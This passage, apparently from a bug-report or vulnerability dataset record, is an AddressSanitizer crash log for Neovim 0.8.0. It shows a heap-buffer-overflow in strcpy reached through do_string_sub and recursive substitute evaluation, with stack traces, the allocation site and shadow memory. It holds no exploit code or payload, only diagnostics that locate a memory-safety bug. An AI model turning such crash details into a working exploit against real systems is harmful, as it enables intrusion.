0x905ccb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #53 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #54 0x82bae1 in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2235:13\n    #55 0x826193 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3101:15\n    #56 0x82341e in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2779:7\n    #57 0x821d9c in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2612:7\n    #58 0x821120 in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2512:7\n    #59 0x820a87 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2441:7\n    #60 0x7f4ca7 in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2382:7\n    #61 0x7eb72c in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2318:7\n    #62 0x7e9e13 in eval0 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2279:9\n    #63 0x7ebe91 in eval_to_string /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:864:7\n    #64 0xe6f72a in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1834:31\n    #65 0xe71c91 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1706:16\n    #66 0x969d7a in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4054:20\n    #67 0x96392a in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4821:9\n    #68 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #69 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #70 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #71 0x908fbe in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #72 0x90e10e in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #73 0x905ccb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #74 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #75 0x82bae1 in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2235:13\n    #76 0x826193 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3101:15\n    #77 0x82341e in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2779:7\n    #78 0x821d9c in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2612:7\n    #79 0x821120 in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2512:7\n    #80 0x820a87 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2441:7\n    #81 0x7f4ca7 in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2382:7\n    #82 0x7eb72c in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2318:7\n    #83 0x7e9e13 in eval0 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2279:9\n    #84 0x7ebe91 in eval_to_string /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:864:7\n    #85 0xe6f72a in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1834:31\n    #86 0xe71c91 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1706:16\n    #87 0x969d7a in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4054:20\n    #88 0x96392a in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4821:9\n    #89 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #90 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #91 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #92 0xf058d9 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #93 0xf02ab2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #94 0xf02810 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #95 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #96 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #97 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #98 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #99 0xb8b4f0 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #100 0xb80c42 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #101 0x7f6bc2309082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #102 0x466f9d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x466f9d)\n\n0x611000001cff is located 1 bytes to the left of 200-byte region [0x611000001d00,0x611000001dc8)\nallocated by thread T0 here:\n    #0 0x4df9f9 in realloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x4df9f9)\n    #1 0xc6980a in xrealloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:164:15\n    #2 0xa741ee in ga_grow /home/zzw/Desktop/neovim/build/../src/nvim/garray.c:106:14\n    #3 0x81b083 in do_string_sub /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:8344:7\n    #4 0x81a090 in modify_fname /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:8262:15\n    #5 0x9a64e6 in eval_vars /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6929:16\n    #6 0x9a28f1 in expand_filename /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:3753:26\n    #7 0x999cb0 in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1557:9\n    #8 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #9 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #10 0x908fbe in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #11 0x90e10e in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #12 0x905ccb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #13 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #14 0x82bae1 in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2235:13\n    #15 0x826193 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3101:15\n    #16 0x82341e in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2779:7\n    #17 0x821d9c in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2612:7\n    #18 0x821120 in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2512:7\n    #19 0x820a87 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2441:7\n    #20 0x7f4ca7 in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2382:7\n    #21 0x7eb72c in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2318:7\n    #22 0x7e9e13 in eval0 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2279:9\n    #23 0x7ebe91 in eval_to_string /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:864:7\n    #24 0xe6f72a in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1834:31\n    #25 0xe71c91 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1706:16\n    #26 0x969d7a in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4054:20\n    #27 0x96392a in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4821:9\n    #28 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #29 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x4cb81d) in strcpy\nShadow bytes around the buggy address:\n  0x0c227fff8340: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa\n  0x0c227fff8350: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c227fff8360: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa\n  0x0c227fff8370: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00\n  0x0c227fff8380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x0c227fff8390: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa[fa]\n  0x0c227fff83a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c227fff83b0: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa\n  0x0c227fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c227fff83d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c227fff83e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==31944==ABORTING", "creation_timestamp": "2026-09-19T13:42:03.611891Z"}